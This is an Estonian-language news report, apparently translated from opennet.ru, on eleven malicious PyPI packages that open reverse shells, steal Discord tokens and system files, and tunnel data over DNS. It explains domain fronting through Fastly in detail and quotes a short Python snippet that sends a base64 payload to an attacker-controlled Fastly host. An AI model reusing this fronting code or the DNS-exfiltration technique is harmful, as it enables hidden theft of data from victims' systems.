PyPI kataloogis tuvastati pahatahtlikud teegid, mis kasutavad PyPI CDN-i, et peita sidekanalit.

PyPI (Python Package Index) kataloogis leiti 11 paketti, mis sisaldasid pahavara. Probleemide avastamise eelnevalt suudeti need paketid kokku laadida umbes 38 000 korda. Tuvastatud pahavara paketid eristuvad keerukate meetodite kasutamisest, et varjata ühendusi pahatahtlike serveritega.

• importantpackage (6305 laadimist), important-package (12897) — kehtestasid ühenduse välise serveriga, esinedes pypi.python.org'ina, et anda shell-juurdepääs süsteemile (reverse shell) ja kasutasid ühenduse varjamiseks programmi trevorc2.
• pptest (10001), ipboards (946) — kasutasid DNS-i suhte loomise kanalina süsteemi teabe edastamiseks (esimeses paketis hosti nimi, töökaust, sise- ja välis-IP, teises — kasutaja ja hosti nimi).
• owlmoon (3285), DiscordSafety (557), yiffparty (1859) — tuvastasid süsteemis Discordi teenuse tokeni ja edastasid selle välisele hostile.
• trrfab (287) — saatis välisele hostile identifikaatori, hosti nime ja sisu /etc/passwd, /etc/hosts, /home.
• 10Cent10 (490) — kehtestas tagasipöörde shell-ühenduse välise hostiga.
• yandex-yt (4183) — edastas sõnumi süsteemi kompromiteerimise kohta ja suunatud lehele, kus oli lisainformatsioon edasiste tegevuste kohta, antud läbi nda.ya.ru (api.ya.cc).

Eraldi tähelepanu väärib meetod, millega pakettides importantpackage ja important-package suheldi väliste hostidega, kasutades oma tegevuse varjamiseks sisuhulga edastamisvõrku Fastly, mis on kasutusel PyPI kataloogis. Tegelikult saadeti päringud serverisse pypi.python.org (sealhulgas, viidates python.org nimele SNI-s HTTPS-päringus), kuid samal ajal seati HTTP-pealkirjas 'Host' ründealusele kontrollitava serveri nimi (sec.forward.io.global.prod.fastly.net). Sisu edastamise ajal suunas edastamisevõrk sarnase päringu ründajate serverisse, kasutades edastamisel pypi.python.org-i TLS-ühenduse parameetreid.

PyPI infrastruktuuri töö tagab edastamisvõrk Fastly, kus tavaliste päringute vahemälu haldamiseks kasutatakse läbipaistvat proksi Varnishit, samuti tehakse TLS-sertifikaatide töötlemist CDN-i tasemel, mitte lõppserveritel, et korraldada HTTPS-päringute edastamine proksi kaudu. Ükskõik millise sihthostiga saadetakse päringud proksisse, mis määrab vajaliku hosti HTTP-pealkirja 'Host' põhjal. domeenide nimed hostid siduvad kõigile klientidele tüüpilistele Fastly IP-aadressidele koormuse tasakaalustajate CDN.

Ründajate server registreeritakse ka Fastly CDN-is, mis pakub kõigile tasuta hindade plaane ja isegi lubab anonüümset registreerimist. Tähelepanuväärne on see, et sihtmärgile päringute saatmiseks 'reverse shell'i' loomisel kasutatakse samuti skeemi, kuid algatatakse see pahategija külje poolt. Serveri suhtlemine ründaja poolelt paistab välja nagu legitiimne sessioon PyPI kataloogiga, mis on krüpteeritud, kasutades TLS-sertifikaati PyPI. Sarnane tehnika, tuntud nimega 'domain fronting', kasutati varem aktiivselt hostinime varjamiseks blokeeringute ületamisel, kasutades mõnedes CDN-võrkudes võimalust suhelda HTTPS-i kaudu, määrates SNI-s vale hosti ning edastades tegeliku päritava hosti nime HTTP päises Host TLS-sessioni sees.

Kahjuliku tegevuse varjamiseks kasutati täiendavalt paketti TrevorC2, mis võimaldab muuta suhtlemise serveriga sarnaseks tavapärase veebibrauseriga navigeerimisega, näiteks saatmata kahjulikke päringuid kui 'https://pypi.python.org/images/guid=' ja kodeerides teavet guid parameetris. url = 'https://pypi.python.org' + '/images' + '?' + 'guid=' + b64_payload r = request.Request(url, headers = {'Host': 'psec.forward.io.global.prod.fastly.net'})

Pakettides pptest ja ipboards kasutati teistsugust lähenemist võrguaktiivsuse varjamiseks, mis põhines kasuliku teabe kodeerimisel DNS-serveri päringutes. Kahjulik tarkvara edastab teavet, tehes DNS-päringud nagu 'nu4timjagq4fimbuhe.example.com', mille alamsaadetes on base64 formaadis kodeeritud edastatavad andmed juhtimisseerverisse. Kurjategija võtab vastu sõnumite andmed, kontrollides DNS-serverit domeeni example.com.

Allikas: opennet.ru